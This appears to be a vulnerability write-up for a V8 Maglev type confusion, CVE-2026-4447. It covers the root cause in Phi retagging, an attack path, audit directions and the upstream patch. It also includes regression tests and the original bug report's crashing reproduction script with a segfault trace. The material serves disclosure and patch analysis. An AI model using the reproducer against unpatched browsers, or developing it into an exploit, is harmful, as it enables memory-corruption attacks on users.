CVE-2026-4447
Overview
Background
- Maglev
- V8’s mid-tier optimizing JIT, which builds a graph of
ValueNodes and later selects a machine representation (tagged,Smi,Float64, etc.) for each node. - `Phi` untagging / representation selection
- an optimization that gives a
Phinode an unboxed representation (e.g.Float64) when its merged inputs allow it, then retags it back to a tagged value where a tagged use is required. - `GetCheckType`
- a helper that decides whether an emitted type check should still perform a heap-object check (
kCheckHeapObject) or may omit it (kOmitHeapObjectCheck) based on whether the input is known to be aHeapObject. - `SetUseRequiresHeapObject`
- a newly used
Phiflag that records that a use needs thePhito remain aHeapObject, so representation selection preserves its HeapObjectness when retagging.
Root Cause Analysis
When a Phi merges values (e.g. heap numbers) it can be untagged to Float64, and the default Float64-to-tagged canonicalization performed during phi representation selection may retag it as a Smi for values that fit, as the new comment explains: “a Phi could currently be a HeapObject but be retagged as a Smi after phi representation selection.” Meanwhile the graph builder emitted its type checks with GetCheckType(node_type), which decided whether a heap-object check could be omitted using only the static node type and without reference to the actual value node. If a use had established the Phi as a HeapObject and the heap-object check was consequently omitted, but the Phi was then canonicalized to a Smi, a Smi would flow to a site that assumes a real HeapObject pointer — a type confusion.
The fix threads the concrete value/object node into every GetCheckType(...) call (adding the second argument) so the check-type decision is made against the actual node, and in the heap-object-requiring path it detects object->TryCast<Phi>() and calls phi->SetUseRequiresHeapObject(), recording that this Phi must stay a HeapObject so retagging does not canonicalize it to a Smi. Together these preserve the invariant that a value used as a HeapObject is not silently turned into a Smi.
Phi as a Smi even though a use required a HeapObject, while the heap-object-check decision ignored the actual node; the fix records SetUseRequiresHeapObject() on such Phis and passes the node into GetCheckType so HeapObjectness is preserved and checked correctly.Attack Path
- Create a mergeable heap-number Phi
Script produces a
Phifrom branches yielding heap numbers (e.g.let x = c ? H0 : H1;in the regression tests), giving it float64-compatible inputs. - Force untagging and a HeapObject use
A float64 use (
x + 0.1) drives untagging while a use that requires a taggedHeapObject(e.g. storing into a HeapObject-representation field,o.x = x/target.p = v) requires the value as aHeapObject. - Trigger Maglev optimization
%OptimizeMaglevOnNextCallcompiles the function; representation selection canonicalizes the retaggedPhiand, pre-patch, the omitted heap-object check leaves a possibleSmiwhere aHeapObjectis assumed. - Type confusion
The
Smiis treated as aHeapObjectpointer at the HeapObject-requiring use, producing a type confusion during execution of the optimized code. (inferred)
Impact Assessment
Smi as a HeapObject, a type confusion in the renderer process; the advisory classifies this as an inappropriate implementation (logic error) in V8. Preconditions are only the ability to run script that Maglev optimizes; any escalation from the type confusion to a read/write primitive or code execution is (inferred), and the advisory does not report exploitation in the wild.Files Changed
src/maglev/maglev-graph-builder.cc
Audit Directions
- Representation selection that changes taggingAudit places where
Phiuntagging/retagging or float64→tagged canonicalization can change whether a value is aSmiorHeapObject, and confirm uses requiring one shape record that requirement before selection. - Type-check decisions ignoring the concrete nodeLook for
GetCheckType(type)-style helpers that decide to omit a heap-object check from a static type alone; they should consult the actualValueNodewhose runtime shape may differ. - HeapObject assumptions after optimizationReview sinks (field stores with HeapObject representation, map checks) that assume a tagged pointer and verify a
Smicannot reach them after optimizer transformations.
Patch
From 473f72163411778d823846596837bf6ff5af5a5e Mon Sep 17 00:00:00 2001 From: Darius Mercadier <[email protected]> Date: Tue, 24 Feb 2026 16:54:54 +0100 Subject: [PATCH] [maglev] Preserve HeapObjectness during Phi untagging when required Fixed: 486657483 Change-Id: I351d6049a0cdfe82787b644d03c9ae0bcf802b11 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7604253 Commit-Queue: Darius Mercadier <[email protected]> Reviewed-by: Leszek Swirski <[email protected]> Cr-Commit-Position: refs/heads/main@{#105439} --- diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc index f8bf0d9..9cc9044 100644 --- a/src/maglev/maglev-graph-builder.cc +++ b/src/maglev/maglev-graph-builder.cc @@ -1824,9 +1824,9 @@ // This node may unwrap ThinStrings. ValueNode* maybe_unwrapping_node; - GET_VALUE_OR_ABORT( - maybe_unwrapping_node, - AddNewNode<CheckedInternalizedString>({node}, GetCheckType(old_type))); + GET_VALUE_OR_ABORT(maybe_unwrapping_node, + AddNewNode<CheckedInternalizedString>( + {node}, GetCheckType(old_type, node))); known_info->alternative().set_checked_value(maybe_unwrapping_node); current_interpreter_frame_.set(reg, maybe_unwrapping_node); @@ -3571,7 +3571,7 @@ } } - enum CheckType type = GetCheckType(node_type); + enum CheckType type = GetCheckType(node_type, value); return AddNewNode<TestUndetectable>({value}, type); } @@ -4167,6 +4167,13 @@ IntersectType(GetType(object), NodeType::kAnyHeapObject))) { return EmitUnconditionalDeopt(DeoptimizeReason::kSmi); } + if (Phi* phi = object->TryCast<Phi>()) { + // Through phi untagging and the default float64->tagged canonicalization, a + // Phi could currently be a HeapObject but be retagged as a Smi after phi + // representation selection. If we request this Phi has a HeapObject, we + // record it so that when we retag it we preserve its HeapObjectness. + phi->SetUseRequiresHeapObject(); + } if (EnsureType(object, NodeType::kAnyHeapObject)) return ReduceResult::Done(); return AddNewNode<CheckHeapObject>({object}); } @@ -4182,7 +4189,8 @@ if (EnsureType(object, NodeType::kSeqOneByteString, &known_type)) { return ReduceResult::Done(); } - return AddNewNode<CheckSeqOneByteString>({object}, GetCheckType(known_type)); + return AddNewNode<CheckSeqOneByteString>({object}, + GetCheckType(known_type, object)); } ReduceResult MaglevGraphBuilder::BuildCheckString(ValueNode* object) { @@ -4195,7 +4203,7 @@ if (EnsureType(object, NodeType::kString, &known_type)) { return ReduceResult::Done(); } - return AddNewNode<CheckString>({object}, GetCheckType(known_type)); + return AddNewNode<CheckString>({object}, GetCheckType(known_type, object)); } ReduceResult MaglevGraphBuilder::BuildCheckStringOrStringWrapper( @@ -4209,8 +4217,8 @@ } if (EnsureType(object, NodeType::kStringOrStringWrapper, &known_type)) return ReduceResult::Done(); - return AddNewNode<CheckStringOrStringWrapper>({object}, - GetCheckType(known_type)); + return AddNewNode<CheckStringOrStringWrapper>( + {object}, GetCheckType(known_type, object)); } ReduceResult MaglevGraphBuilder::BuildCheckStringOrOddball(ValueNode* object) { @@ -4224,7 +4232,8 @@ if (EnsureType(object, NodeType::kStringOrOddball, &known_type)) { return ReduceResult::Done(); } - return AddNewNode<CheckStringOrOddball>({object}, GetCheckType(known_type)); + return AddNewNode<CheckStringOrOddball>({object}, + GetCheckType(known_type, object)); } ReduceResult MaglevGraphBuilder::BuildCheckNumber(ValueNode* object) { @@ -4248,7 +4257,7 @@ } if (EnsureType(object, NodeType::kSymbol, &known_type)) return ReduceResult::Done(); - return AddNewNode<CheckSymbol>({object}, GetCheckType(known_type)); + return AddNewNode<CheckSymbol>({object}, GetCheckType(known_type, object)); } ReduceResult MaglevGraphBuilder::BuildCheckJSFunction(ValueNode* object) { @@ -4260,9 +4269,9 @@ } if (EnsureType(object, NodeType::kJSFunction, &known_type)) return ReduceResult::Done(); - return AddNewNode<CheckInstanceType>({object}, GetCheckType(known_type), - FIRST_JS_FUNCTION_TYPE, - LAST_JS_FUNCTION_TYPE); + return AddNewNode<CheckInstanceType>( + {object}, GetCheckType(known_type, object), FIRST_JS_FUNCTION_TYPE, + LAST_JS_FUNCTION_TYPE); } ReduceResult MaglevGraphBuilder::BuildCheckJSReceiver(ValueNode* object) { @@ -4274,9 +4283,9 @@ } if (EnsureType(object, NodeType::kJSReceiver, &known_type)) return ReduceResult::Done(); - return AddNewNode<CheckInstanceType>({object}, GetCheckType(known_type), - FIRST_JS_RECEIVER_TYPE, - LAST_JS_RECEIVER_TYPE); + return AddNewNode<CheckInstanceType>( + {object}, GetCheckType(known_type, object), FIRST_JS_RECEIVER_TYPE, + LAST_JS_RECEIVER_TYPE); } ReduceResult MaglevGraphBuilder::BuildCheckJSReceiverOrNullOrUndefined( @@ -4292,8 +4301,8 @@ if (EnsureType(object, NodeType::kJSReceiverOrNullOrUndefined, &known_type)) { return ReduceResult::Done(); } - return AddNewNode<CheckJSReceiverOrNullOrUndefined>({object}, - GetCheckType(known_type)); + return AddNewNode<CheckJSReceiverOrNullOrUndefined>( + {object}, GetCheckType(known_type, object)); } ReduceResult MaglevGraphBuilder::BuildCheckMaps( @@ -4313,17 +4322,20 @@ // Emit checks. if (merger.emit_check_with_migration() && !migration_done_outside) { RETURN_IF_ABORT(AddNewNode<CheckMapsWithMigration>( - {object}, merger.intersect_set(), GetCheckType(known_info->type()))); + {object}, merger.intersect_set(), + GetCheckType(known_info->type(), object))); } else if (has_deprecated_map_without_migration_target && !migration_done_outside) { RETURN_IF_ABORT(AddNewNode<CheckMapsWithMigrationAndDeopt>( - {object}, merger.intersect_set(), GetCheckType(known_info->type()))); + {object}, merger.intersect_set(), + GetCheckType(known_info->type(), object))); } else if (map) { RETURN_IF_ABORT(AddNewNode<CheckMapsWithAlreadyLoadedMap>( {object, *map}, merger.intersect_set())); } else { - RETURN_IF_ABORT(AddNewNode<CheckMaps>({object}, merger.intersect_set(), - GetCheckType(known_info->type()))); + RETURN_IF_ABORT( + AddNewNode<CheckMaps>({object}, merger.intersect_set(), + GetCheckType(known_info->type(), object))); } merger.UpdateKnownNodeAspects(object, known_node_aspects()); @@ -5742,7 +5754,7 @@ // TODO(leszeks): Cache this knowledge/converted value somehow on // the node info. return AddNewNodeNoInputConversion<CheckedObjectToIndex>( - {object}, GetCheckType(old_type)); + {object}, GetCheckType(old_type, object)); } case ValueRepresentation::kInt32: // Already good. @@ -8107,7 +8119,7 @@ return ReduceResult::Done(); case TypeOfFeedback::kFunction: RETURN_IF_ABORT(AddNewNode<CheckDetectableCallable>( - {value}, GetCheckType(GetType(value)))); + {value}, GetCheckType(GetType(value), value))); EnsureType(value, NodeType::kCallable); SetAccumulator(GetRootConstant(RootIndex::kfunction_string)); return ReduceResult::Done(); @@ -13979,7 +13991,7 @@ return value; } return AddNewNode<std::conditional_t<flip, ToBooleanLogicalNot, ToBoolean>>( - {value}, GetCheckType(value_type)); + {value}, GetCheckType(value_type, value)); } MaybeReduceResult MaglevGraphBuilder::TryBuildFastInstanceOfWithFeedback( @@ -14143,8 +14155,9 @@ destination); } else { ValueNode* object; - GET_VALUE_OR_ABORT(object, AddNewNode<ToObject>({GetContext(), value}, - GetCheckType(old_type))); + GET_VALUE_OR_ABORT(object, + AddNewNode<ToObject>({GetContext(), value}, + GetCheckType(old_type, value)));
Regression Test / PoC
diff --git a/test/mjsunit/maglev/regress-486657483-1.js b/test/mjsunit/maglev/regress-486657483-1.js
new file mode 100644
index 0000000..b54e22e
--- /dev/null
+++ b/test/mjsunit/maglev/regress-486657483-1.js
@@ -0,0 +1,28 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --expose-gc --verify-heap
+
+function make_heapnum(v) { const a=[1.1]; a[0]=v; return a[0]; }
+
+const H0 = make_heapnum(-1.0);
+const H1 = make_heapnum(-1.0);
+
+function f(c, target) {
+ let v = c ? H0 : H1;
+ let y = v + 0.1;
+ target.p = v;
+
+ return y;
+}
+
+%PrepareFunctionForOptimization(f);
+
+let target = {p:{x:1}};
+f(0, target);
+
+%OptimizeMaglevOnNextCall(f);
+gc();
+
+(f(1, target));
diff --git a/test/mjsunit/maglev/regress-486657483-2.js b/test/mjsunit/maglev/regress-486657483-2.js
new file mode 100644
index 0000000..f7bd3ee
--- /dev/null
+++ b/test/mjsunit/maglev/regress-486657483-2.js
@@ -0,0 +1,27 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function make_heapnum(v) { const a=[1.1]; a[0]=v; return a[0]; }
+
+const H0 = make_heapnum(24440.0);
+const H1 = make_heapnum(-1.0);
+
+function foo() {
+ let x = H0;
+ for (let i = 0; i < 1; ++i) {
+ if (i) x = H1;
+ x + 0.25;
+ }
+ let c = !!x;
+
+ return c;
+}
+
+%PrepareFunctionForOptimization(foo);
+assertEquals(true, foo());
+
+%OptimizeMaglevOnNextCall(foo);
+assertEquals(true, foo());
diff --git a/test/mjsunit/maglev/regress-486657483-3.js b/test/mjsunit/maglev/regress-486657483-3.js
new file mode 100644
index 0000000..f7bd3ee
--- /dev/null
+++ b/test/mjsunit/maglev/regress-486657483-3.js
@@ -0,0 +1,27 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function make_heapnum(v) { const a=[1.1]; a[0]=v; return a[0]; }
+
+const H0 = make_heapnum(24440.0);
+const H1 = make_heapnum(-1.0);
+
+function foo() {
+ let x = H0;
+ for (let i = 0; i < 1; ++i) {
+ if (i) x = H1;
+ x + 0.25;
+ }
+ let c = !!x;
+
+ return c;
+}
+
+%PrepareFunctionForOptimization(foo);
+assertEquals(true, foo());
+
+%OptimizeMaglevOnNextCall(foo);
+assertEquals(true, foo());
diff --git a/test/mjsunit/maglev/regress-486657483-4.js b/test/mjsunit/maglev/regress-486657483-4.js
new file mode 100644
index 0000000..aeab2ad
--- /dev/null
+++ b/test/mjsunit/maglev/regress-486657483-4.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --verify-heap
+
+function make_heapnum(v) { const a=[1.1]; a[0]=v; return a[0]; }
+
+const H0 = make_heapnum(24440.0);
+const H1 = make_heapnum(-1.0);
+
+function foo(c, o) {
+ let x = c ? H1 : H0;
+ x + 2;
+ o.x = x;
+}
+
+let o = { x : "abc" };
+o.x = []; // making non-const and removing field map.
+
+%PrepareFunctionForOptimization(foo);
+foo(true, o);
+
+%OptimizeMaglevOnNextCall(foo);
+foo(true, o);
diff --git a/test/mjsunit/maglev/regress-486657483-5.js b/test/mjsunit/maglev/regress-486657483-5.js
new file mode 100644
index 0000000..36bc347
--- /dev/null
+++ b/test/mjsunit/maglev/regress-486657483-5.js
@@ -0,0 +1,36 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --verify-heap
+
+function make_heapnum(v) { const a=[1.1]; a[0]=v; return a[0]; }
+
+const H0 = 42;//make_heapnum(24440.0);
+const H1 = make_heapnum(-1.0);
+
+function foo(c, o) {
+ let x = c ? H1 : H0;
+ x + 2;
+ if (c) {
+ // Will have HeapObject field representation.
+ o.x = x;
+ } else {
+ // Will have Smi field representation.
+ o.y = x;
+ }
+}
+
+let o_heapobj_field = { x : "abc" };
+o_heapobj_field.x = []; // making non-const and removing field map.
+
+let o_smi_field = { y : 17 };
+o_smi_field.y = 25; // making non-const
+
+%PrepareFunctionForOptimization(foo);
+foo(true, o_heapobj_field);
+foo(false, o_smi_field);
+
+%OptimizeMaglevOnNextCall(foo);
+foo(true, o_heapobj_field);
+foo(false, o_smi_field);
Original Bug Report
Incorrect Maglev assumption leading to SIGSEGV
VERSION
V8 Git Commit: c0a41078e69f23668c8d34c61f286a1b5b211f19
REPRODUCTION CASE
function make_heapnum(v) { const a=[1.1]; a[0]=v; return a[0]; }
const H0 = make_heapnum(-1.0);
const H1 = make_heapnum(-1.0);
function f(c, target) {
let v = c ? H0 : H1;
let y = v + 0.1;
target.p = v;
return y;
}
%PrepareFunctionForOptimization(f);
let target = {p:{x:1}};
f(0, target);
%OptimizeMaglevOnNextCall(f);
gc();
(f(1, target));
d8 --allow-natives-syntax --expose-gc x.js
stack trace:
Received signal 11 SEGV_ACCERR 7ea2fffc0000
==== C stack trace ===============================
out/fuzzbuild/d8(___interceptor_backtrace+0x46)[0x5ab1acf4fb36]
out/fuzzbuild/d8(+0x185b67f)[0x5ab1ad3fb67f]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x70ee6b645330]
[0x5ab1e00002f2]
[end of stack trace]
Segmentation fault
BISECT
commit 0111c795359d675cfa6522637b6a3a23a0c5f0ce
Author: Darius Mercadier <[email protected]>
Date: Fri Sep 26 16:00:48 2025 +0200
[turbolev] Less expensive WB for non-smis
Bug: 431933185
Change-Id: Ic26217550159c5168353d85ab42806733bb5037c
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6988732
Reviewed-by: Victor Gomes <[email protected]>
Auto-Submit: Darius Mercadier <[email protected]>
Commit-Queue: Darius Mercadier <[email protected]>
Cr-Commit-Position: refs/heads/main@{#102798}
VULNERABILITY DETAILS
In the repro, at graph-build time the store input is inferred as HeapNumber, therefore NodeTypeCanBe(..., kSmi) returns false, and value_can_be_smi=false is set.
After graph building, MaglevPhiRepresentationSelector runs and:
- It untags the phi to Float64
- Then re-tags it for the store using
Float64ToTagged(kCanonicalizeSmi)- src/maglev/maglev-phi-representation-selector.cc:1355
That re-tagging can produce a Smi for integral floats inside the Smi range, which invalides the value_can_be_smi=false assumption which leads to a crash inside the optimized WB code for non-smi.
CREDIT INFORMATION
Reporter credit: Erge